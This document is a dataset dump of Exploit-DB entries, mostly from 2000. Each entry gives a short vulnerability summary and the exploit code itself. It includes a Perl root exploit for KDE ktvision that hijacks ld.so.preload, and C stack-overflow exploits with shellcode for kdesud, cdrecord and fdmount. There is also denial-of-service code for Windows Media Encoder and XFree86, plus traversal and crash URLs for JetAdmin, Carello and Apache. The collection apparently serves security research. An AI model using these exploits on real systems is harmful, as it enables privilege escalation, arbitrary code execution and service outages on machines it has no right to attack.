QLWD/code_shield huggingface dataset:
标题: KDE 1.1.2 KApplication configfile - Local Privilege Escalation (1) EDB-ID: 19979 CVE: 2000-0530 类型: LOCAL 平台: LINUX 发布日期: 2000-05-31 漏洞利用脚本: #source: https://www.securityfocus.com/bid/1291/info
#
#The KDE configuration-file management has a bug which could result in root compromise.
#
#Due to insecure creation of configuration (rc) files via KApplication-class, local users can modify ownership of arbitrary files when running setuid root KDE-programs.
#
#Properly exploited, this can permit a local attacker to change ownership of key system files, then write arbitrary data to them, allowing an elevation of privileges.

#!/usr/bin/perl

#
# 7350ktvision! The ktvision-hack. 
#
# Just execute. Gives instant rootshell kiddie!
# If only ktvision is setuid-root and vulnerable as with
# SuSE 6.4!
#
#
# Bugdiscovery is due to Sebastian Krahmer.
# http://www.cs.uni-potsdam.de/homepages/students/linuxer
#
# Greets as always to TESO, security.is, lam3rz ... you all
# know who you are.
#
# Special greets to that beautiful black-dressed woman at
# the bus stop. This one is for you. :)
# 

my $rcfile = $ENV{"HOME"}."/.kde/share/config/ktvisionrc";

$ENV{"PATH"}.=":/opt/kde/bin";

print ">>Get a feeling on GUI's and how secure they are.<< Stealth.\n";

print "Creating hijack-lib ...\n";
open O, ">/tmp/boom.c" or die "open(boom.c..)";
print O<<_EOF_;
#include <sys/types.h>

int time(void *v)
{
 chown("/tmp/boomsh", 0, 0);
 chmod("/tmp/boomsh", 06755);
 unlink("/etc/ld.so.preload");
 exit(1);
}
_EOF_
close O;

print "Compiling hijack-lib ...\n";
`cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`;
`cc -shared /tmp/boom.o -o /tmp/boom.so`;

open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)";
print O<<_EOF2_;
#include <stdio.h>
int main() 
{
    char *a[] = {"/bin/sh", 0};
    setuid(0); setregid(0, 0);
    execve(a[0], a, 0);
    return 0;
}
_EOF2_
close O;

print "Compile shell ...\n";
`cc /tmp/boomsh.c -o /tmp/boomsh`;

umask 0;

unlink $rcfile;
symlink "/etc/ld.so.preload", $rcfile;

print "Invoking vulnerable program (ktvision)...\n";

if (fork() == 0) {
 `ktvision`;
 exit 0;
} else {
 sleep(3);
 kill 9, `pidof ktvision`;
}

open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload.";
print O "/tmp/boom.so";
close O;
`/usr/bin/passwd`;

# let it look like if we have sth. to do. :)
sleep 3;
print "Welcome. But as always: BEHAVE!\n";
system("/tmp/boomsh"); URL: https://www.exploit-db.com/exploits/19979
标题: Concatus IMate Web Mail Server 2.5 - Remote Buffer Overflow EDB-ID: 19976 CVE: 2000-0507 类型: REMOTE 平台: WINDOWS 发布日期: 2000-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/1286/info

Sending an email to a Concatus IMate Web Mail Server 2.5 with a server name consisting of over 1119 characters will cause the application to crash. Restarting the program is required in order to regain normal functionality.

Telnet target 25
HELO <String of 1119 characters or more> URL: https://www.exploit-db.com/exploits/19976
标题: Omnis Studio 2.4 - Weak Database Field Encryption EDB-ID: 19967 CVE: 2000-0449 类型: LOCAL 平台: MULTIPLE 发布日期: 2000-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/1255/info

Omnis Studio 2.4 is a development tool for creating database applications. The tool gives developers the option to encrypt database entries. However, the encryption scheme used is weak and easily broken with any scientific calculator (or even pen and paper, if the attacker has a good knowlege of hex and ASCII). Each unencrypted byte is simply replaced with a value that depends on that byte's original value and the remainder of its position in the string divided by 4.

Note that this vulnerability does not affect the security of Omnis Studio directly, but will be present in all applications that were designed using Omnis Studio. 

e=encrypted byte
p=byte's position in the string, mod 4.
u = unencrypted byte

u=e-89+((3p^2-3p)/2) URL: https://www.exploit-db.com/exploits/19967
标题: KDE 1.1/1.1.1/1.1.2/1.2 - kdesud DISPLAY Environment Variable Overflow EDB-ID: 19970 CVE: 2000-0460 类型: LOCAL 平台: LINUX 发布日期: 2000-05-27 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1274/info

/usr/bin/kdesud has a DISPLAY environment variable overflow which could allow for the execution of arbitrary code. 

/*  KDE: /usr/bin/kdesud exploit by noir
 *  x86/Linux
 *  noir@gsu.linux.org.tr | noir@olympos.org
 *  DISPLAY env overflow 
 *  this script will get you gid = 0 !!  
 *  tested on Mandrake 7.0 (Air), for other distros play with argv1 for eip  
 *  greetz: dustdevil, Cronos, moog, still, #olympos irc.sourtimes.org 
 *      
 */

#include <stdio.h>
#include <string.h>

#define NOP             0x90
#define ALIGN   2
#define RET     0xbffff664  // Mandrake 7.0 (x86) 
                            
int 
main(int argc, char *argv[])
{
        unsigned char shell[] =
        "\x31\xc0\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /* setregid(0, 0) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

        char buf[400];
        int i, a;
        long ret = RET;

     if(argv[1])
        ret = ret - atoi(argv[1]);               
  
        memset(buf, NOP, 400);
    
        for(i = ALIGN  ; i < 160 + ALIGN; i+=4)
                *(long *) &buf[i] = ret;
    
        for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
        buf[i] = shell[a];
        
        buf[399] = 0x00;
        printf("eip: 0x%x\n", ret);

        setenv("DISPLAY", buf, 1);
        execl("/usr/bin/kdesud", "kdesud",  0);

} URL: https://www.exploit-db.com/exploits/19970
标题: Microsoft Windows Media Services 4.0/4.1 - Denial of Service (MS00-038) EDB-ID: 19974 CVE: 2000-0495 类型: DOS 平台: WINDOWS 发布日期: 2000-05-31 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1282/info

Windows Media Encoder is part of Windows Media Services. It's purpose is to convert content into a suitable format for video or audio streaming through the Media Services.

If a specially malformed request is sent to the Windows Media Encoder it could cause the service to crash. The service would need to be restarted in order to regain normal functionality.

/*
 *
 * Media Streaming Broadcast Distribution (MSBD)
 * Denial of Service Attack
 *
 * (C) 2000 Kit Knox <kit@rootshell.com> - Public Release: 05/31/00
 *
 * Causes the Windows Media Encoder to crash with a "Runtime Error!"
 *
 * "NSREX caused an invalid page fault in module MFC42.DLL at 0177:5f4012a1".
 *
 * Tested on version 4.1.0.3920 file "NsRex.exe" 998KB 1/11/00.
 *
 * Official Microsoft patch is available :
 *
 * http://www.microsoft.com/technet/security/bulletin/ms00-038.asp
 *
 * Thanks to Microsoft and the WMT group for their prompt attention to this
 * matter.
 *
 */

#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>

char bogus_msbd_packet1[] = {
0x4d, 0x53, 0x42, 0x20, 0x06, 0x01, 0x07, 0x00, 0x24, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x4e, 0x00,
0x65, 0x00, 0x74, 0x00, 0x00, 0x50, 0x53, 0x00, 0x68, 0x00, 0x6f, 0x00,
0x77, 0x00, 0x00, 0x00
};

int sock;
 
int main(int argc, char *argv[]) {
  struct hostent *he;
  struct sockaddr_in sa;
  char buf[1024];
  
  if (argc != 2) {
    fprintf(stderr, "usage: %s <host/ip>\n", argv[0]);
    return(-1);
  }
  
  sock = socket ( AF_INET, SOCK_STREAM, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = htons(7007);
  he = gethostbyname (argv[1]);
  if (!he) {
    if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE)
      return(-1);
  } else {
    bcopy(he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
  }
  if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    fprintf(stderr, "Fatal Error: Can't connect to Windows Media Encoder.\n");
    return(-1);
  }
  write(sock, bogus_msbd_packet1, sizeof(bogus_msbd_packet1));
  for (;;) {
    read(sock, buf, sizeof(buf));
  }
} URL: https://www.exploit-db.com/exploits/19974
标题: HP JetAdmin 6.0 - Printing Denial of Service EDB-ID: 19965 CVE: 2000-0444 类型: DOS 平台: MULTIPLE 发布日期: 2000-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1246/info

By default JetAdmin Web Interface Server listens on port 8000. If a malformed URL request is sent to port 8000 this will cause the server services to stop responding. The service must be stopped and restarted to regain normal functionality.

http://target:8000/plugins/hpjwja/script/devices_list.hts?&obj=Httpd:GetProfile(new_list,__null,__null,$ URL: https://www.exploit-db.com/exploits/19965
标题: Mandriva Linux Mandrake 7.0 - Local Buffer Overflow EDB-ID: 19969 CVE: 2000-0454 类型: LOCAL 平台: LINUX 发布日期: 2000-05-29 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1265/info

The linux cdrecorder binary is vulnerable to a locally exploitable buffer overflow attack. When installed in a Mandrake 7.0 linux distribution, it is by default setgid "cdburner" (which is a group, gid: 80, that is created for the application). The overflow condition is the result of no bounds checking on the 'dev=' argument passed to cdburner at execution time. This vulnerability can be exploited to execute arbitrary commands with egid "cdburner". cdburner has been verified (by the writers of the exploit) to be exploitable on an Intel linux system running Mandrake 7.0. Other distributions of linux may be vulnerable to this problem as well. 

/*  /usr/bin/cdrecord exploit by noir 
 *  x86/Linux 
 *  noir@gsu.linux.org.tr | noir@olympos.org
 *  dev= param overflow 
 *  this script will get you gid = 80 group cdwriter  
 *  tested on Mandrake 7.0 (Air) 
 *  greetz: dustdevil, Cronos, moog, still, BlaCK #olympos irc.sourtimes.org 
 *  
 *  
 */

#include <stdio.h>
#include <string.h>

#define NOP             0x90
#define RET     0xbffffe66 //play with argv[1] +10, -10 if default is not ok  
int 
main(int argc, char *argv[])

{
        unsigned char shell[] =
        "\x31\xc0\xb0\x50\x89\xc3\x89\xc1\xb0\x47\xcd\x80"  /*setregid(80, 80) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        char egg[400];
    char buf[80];
        int i, a;
        long ret = RET;

     if(argv[1])
        ret = ret - atoi(argv[1]);               
  
        memset(egg, NOP, 400);
    
        for(i = 0  ; i < 80 ; i+=4)
                *(long *) &buf[i] = ret;
    
        for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
    egg[i] = shell[a];
        
        buf[72] = 0x00;
        egg[399] = 0x00;
        printf("eip: 0x%x\n", ret);

        setenv("EGG", egg, 1);
        execl("/usr/bin/cdrecord", "cdrecord","dev=", buf, "/etc/passwd", 0);

} URL: https://www.exploit-db.com/exploits/19969
标题: Apache 1.3.6/1.3.9/1.3.11/1.3.12/1.3.20 - Root Directory Access EDB-ID: 19975 CVE: 2000-0505 类型: REMOTE 平台: WINDOWS 发布日期: 2000-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/1284/info

Apache HTTP Server 1.3.x (win32) allows people to get a directory listing of a directory, if it is enabled in the config, even if an index file is present that would normally be displayed instead. This can be achieved by sending a number of "/" characters appended to an HTTP request to the server. (eg: http://www.host.com///////////////////////////////////////////////////////...) When apache calls stat() to check if the index.html (for example) exists, Windows will return an error if the path is too long. Apache incorrectly treats this as if the file does not exist. Different numbers of "/"s are required based on the length of the path to the DocumentRoot. 

#!/usr/bin/perl

use LWP::Simple;
use strict;

my $host = shift() || die "usage:  $ARGV[0] [hostname]";
my $cnt;
my $data;
my $odata;
my $i;

$odata = get("http://$host/");
if ($odata eq "")
{
    die "no response from server:  $host\n";
}
for ($i = 2; $i < 4096; $i++)
{
    print "Trying $i...\n";
    $data = get("http://$host" . ("/" x $i));
    if ($data ne $odata)
    {
        print "/ = $i\n\n$data\n\n";
        exit;
    }
} URL: https://www.exploit-db.com/exploits/19975
标题: Pacific Software Carello 1.2.1 - File Duplication / Source Disclosure EDB-ID: 19957 CVE: 2000-0396 类型: REMOTE 平台: WINDOWS 发布日期: 2000-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1245/info

A remote user can gain read and write access on a target machine running Carello shopping cart software.

First, a user may create a duplicate of a known file in a known directory on the target host through add.exe in /scripts/Carello. Accessing http://target/scripts/Carello/add.exe?C:\directory\filename.ext will generate a duplicate file with a "1" appended to the filename (eg. filename.ext1). From here, the remote user would perform a http request of the newly created duplicate file and be able to view the contents of it.

This vulnerability depends on the anonymous internet account having write access to the relevant directories. 

http://target/scripts/Carello/add.exe?C:\directory\filename.ext URL: https://www.exploit-db.com/exploits/19957
标题: S.u.S.E Linux 4.x/5.x/6.x/7.0 / Slackware 3.x/4.0 / Turbolinux 6 / OpenLinux 7.0 - 'fdmount' Local Buffer Overflow (3) EDB-ID: 19954 CVE: 2000-0438 类型: LOCAL 平台: LINUX 发布日期: 2000-05-22 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1239/info
  
A buffer overflow exists in the 0.8 version of the fdmount program, distributed with a number of popular versions of Linux. By supplying a large, well crafted buffer containing machine executable code in place of the mount point, it is possible for users in the 'floppy' group to execute arbitrary commands as root.
  
This vulnerability exists in versions of S.u.S.E., 4.0 and later, as well as Mandrake Linux 7.0. TurboLinux 6.0 and earlier ships with fdmount suid root, but users are not automatically added to the 'floppy' group. This list is by no means meant to be complete; other Linux distributions may be affected. To check if you're affected, check for the presence of the setuid bit on the binary. If it is present, and the binary is either world executable, or group 'floppy' executable, you are affected and should take action immediately. 

/* fdmount exploit
 *
 * by [WaR] <war@genhex.org> and Zav <zav@genhex.org>
 *
 * usage: ./fdmountx <offset>
 *   try with offset around 390 (you'll only get one try) 
 *
 *  Shout outs to all of the GenHex crew, and to 
 *            the #newbreed at irc.ptnet.org.
 */

#include <stdio.h>
#include <stdlib.h>

#define BUFFSIZE 70

char shell[] = /* by Zav */
   "\xeb\x33\x5e\x89\x76\x08\x31\xc0"
   "\x88\x66\x07\x83\xee\x02\x31\xdb"
   "\x89\x5e\x0e\x83\xc6\x02\xb0\x1b"
   "\x24\x0f\x8d\x5e\x08\x89\xd9\x83"
   "\xee\x02\x8d\x5e\x0e\x89\xda\x83"
   "\xc6\x02\x89\xf3\xcd\x80\x31\xdb"
   "\x89\xd8\x40\xcd\x80\xe8\xc8\xff"
   "\xff\xff/bin/sh";


main(int argc, char **argv)
{
  int i,j;
  char buffer[BUFFSIZE+6]; 
  unsigned long eip=(unsigned long)&eip;
  unsigned long *ptr;


  if(argc>1)
   eip+=atoi(argv[1]);

  memset(buffer,0x90,75);
  memcpy(buffer+(BUFFSIZE-strlen(shell)),shell,strlen(shell));

 ptr=(unsigned long*)(buffer+71);
 *ptr=eip;

 buffer[75]=0;
 buffer[0]='/';

 execl("/usr/bin/fdmount","fdmount","fd0",buffer,NULL);
} URL: https://www.exploit-db.com/exploits/19954
标题: Oracle Outside-In - '.LWP' File Parsing Stack Buffer Overflow EDB-ID: 19961 CVE: 2012-1770 类型: DOS 平台: WINDOWS 发布日期: 2012-07-20 漏洞利用脚本: #####################################################################################

Application:   Oracle Outside-In LWP File Parsing Stack Based Buffer Overflow
Version:   The vulnerabilities are reported in versions 8.3.5 and 8.3.7.
Exploitation:   Remote code execution

Secunia Number:   SA49936 

{PRL}:   2012-25

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============
Oracle Outside In Technology provides software developers with a comprehensive solution to access,
transform, and control the contents of over 500 unstructured file formats. From the latest office suites,
such as Microsoft Office 2007, to specialty formats and legacy files, Outside In Technology provides software
developers with the tools to transform unstructured files into controllable information.
#####################################################################################

============
2) Timeline
============

2012-07-03 - Vulnerability reported to secunia
2012-07-19 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================
An error in the LWPAPIN.DLL module when processing Lotus WordPro documents can be
exploited to cause a stack-based buffer overflow via a specially crafted file.
#####################################################################################

=============
4) The Code
=============

http://www.protekresearchlab.com/exploits/PRL-2012-25.lwp
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19961.lwp URL: https://www.exploit-db.com/exploits/19961
标题: HP JetAdmin 5.5.177/jetadmin 5.6 - Directory Traversal EDB-ID: 19956 CVE: 2000-0443 类型: REMOTE 平台: CGI 发布日期: 2000-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1243/info

By default JetAdmin Web Interface Server listens on port 8000. By requesting a specially formed URL which includes "../" it is possible for a remote user to gain read-access to any files outside of the web-published directory.

http://target:8000/cgi/wja?page=/../../../filename URL: https://www.exploit-db.com/exploits/19956
标题: XFree86 X11R6 3.3.5/3.3.6/4.0 Xserver - Denial of Service EDB-ID: 19950 CVE: 2000-0453 类型: DOS 平台: LINUX 发布日期: 2000-05-18 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/1235/info

A denial of service exists in XFree86 3.3.5, 3.3.6 and 4.0. A remote user can send a malformed packet to the TCP listening port, 6000, which will cause the X server to be unresponsive for some period of time. During this time, the keyboard will not respond to user input, and in some cases, the mouse will also not respond. During this time period, the X server will utilize 100% of the CPU, and can only be repaired by being signaled. This vulnerability exists only in servers compiled with the XCSECURITY #define set. This can be verified by running the following:
strings /path/to/XF86_SVGA | grep "XC-QUERY-SECURITY-1"

To quote the Bugtraq post, by Chris Evans <chris@ferret.lmh.ox.ac.uk>:
"Observe xc/programs/Xserver/os/secauth.c, AuthCheckSitePolicy():

// dataP is user supplied data from the network
char *policy = *dataP;
int nPolicies;
...
// Oh dear, we can set nPolicies to -1
nPolicies = *policy++;
while (nPolicies) {
// Do some stuff in a loop
...
nPolicies--;
}

So, the counter "nPolicies", if seeded with -1, will decrement towards
about minus 2 billion, then wrap to become positive 2 billion, and head
towards its final destination of 0." 
*/

/* bust_x.c
 * Demonstration purposes only!
 * Chris Evans <chris@scary.beasts.org>
 */
int
main(int argc, const char* argv[])
{
  char bigbuf[201];
  short s;
  char c;

  c = -120;

  memset(bigbuf, c, sizeof(bigbuf));

  /* Little endian */
  c = 'l';
  write(1, &c, 1);
  /* PAD */
  c = 0;
  write(1, &c, 1);
  /* Major */
  s = 11;
  write(1, &s, 2);
  /* Minor */
  s = 0;
  write(1, &s, 2);
  /* Auth proto len */
  s = 19;
  write(1, &s, 2);
  /* Auth string len */
  s = 200;
  write(1, &s, 2);

  /* PAD */
  s = 0;
  write(1, &s, 2);

  /* Auth name */
  write(1, "XC-QUERY-SECURITY-1", 19);

  /* byte to round to multiple of 4 */
  c = 0;
  write(1, &c, 1);

  /* Auth data */
  /* Site policy please */
  c = 2;
  write(1, &c, 1);
  /* "permit" - doesn't really matter */
  c = 0;
  write(1, &c, 1);
  /* number of policies: -1, loop you sucker:) */
  c = -1;
  write(1, &c, 1);
  /* Negative stringlen.. 201 of them just in case, chortle... */

  write(1, bigbuf, sizeof(bigbuf));
} URL: https://www.exploit-db.com/exploits/19950
标题: Oracle Outside-In - '.FPX' File Parsing Heap Overflow EDB-ID: 19960 CVE: 2012-1744 类型: DOS 平台: WINDOWS 发布日期: 2012-07-20 漏洞利用脚本: #####################################################################################

Application:   Oracle Outside-In FPX File Parsing Heap Overflow
Version:   he vulnerabilities are reported in versions 8.3.5 and 8.3.7.
Exploitation:   Remote code execution

Secunia Number:   SA49936 

{PRL}:   2012-26

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============
Oracle Outside In Technology provides software developers with a comprehensive solution to access,
transform, and control the contents of over 500 unstructured file formats. From the latest office suites,
such as Microsoft Office 2007, to specialty formats and legacy files, Outside In Technology provides software
developers with the tools to transform unstructured files into controllable information.
#####################################################################################

============
2) Timeline
============

2012-05-02 - Vulnerability reported to secunia
2012-07-19 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================
An error in the FPX graphic import filter (ibfpx2.flt) when processing FPX images can be exploited
to cause a heap-based buffer overflow via a specially crafted file.
#####################################################################################

=============
4) The Code
=============

http://www.protekresearchlab.com/exploits/PRL-2012-26.fpx
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19960.fpx URL: https://www.exploit-db.com/exploits/19960